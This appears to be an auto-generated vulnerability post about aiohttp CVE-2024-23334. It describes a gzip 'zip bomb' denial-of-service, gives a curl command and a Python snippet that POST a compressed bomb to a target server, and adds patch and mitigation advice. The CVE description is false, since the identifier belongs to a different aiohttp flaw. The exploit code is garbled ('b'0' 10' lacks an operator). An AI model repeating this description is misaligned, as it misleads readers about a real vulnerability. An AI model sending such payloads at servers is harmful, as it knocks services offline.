Listen to this Post
How the CVE Works
CVE-2024-23334 exploits aiohttp’s request body decompression. The server automatically decompresses HTTP requests with Content-Encoding: deflate/gzip. A malicious actor can craft a small, highly compressed “Zip Bomb” payload. When aiohttp receives this payload, it allocates memory based on the uncompressed size hinted in the compression headers, not the tiny compressed size. The decompression process then attempts to expand this small input into an enormous, multi-gigabyte output in memory. This exhausts the server’s available RAM, causing a Denial-of-Service by making the process unresponsive or causing it to be terminated by the operating system’s out-of-memory (OOM) killer.
DailyCVE
Platform: aiohttp Python library
Version: < 3.9.2
Vulnerability: Zip Bomb
Severity: Critical
Date: 2024-01-24
Prediction: Patch Expected 2024-01-26
What Undercode Say
Analytics
Simulating a request with compressed data curl -H "Content-Encoding: gzip" --data-binary @payload.gz http://target:8080/upload Check server memory consumption ps aux --sort=-%mem | grep python top -p $(pgrep -f aiohttp)
How Exploit
import gzip, requests
Create a compressed payload that expands to >> 1GB
bomb = gzip.compress(b'0' 10, compresslevel=9)
headers = {'Content-Encoding': 'gzip'}
requests.post('http://target:8080/', data=bomb, headers=headers)
Protection from this CVE
Apply the official patch from commit aio-libs/aiohttp@2b920c3. Update aiohttp to version 3.9.2 or later. Implement middleware to limit decompressed body size using aiohttp.web.Application(client_max_size=MAX_SIZE). Consider front-end proxies (e.g., nginx) with request size limits.
Impact
Memory Exhaustion Denial-of-Service
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
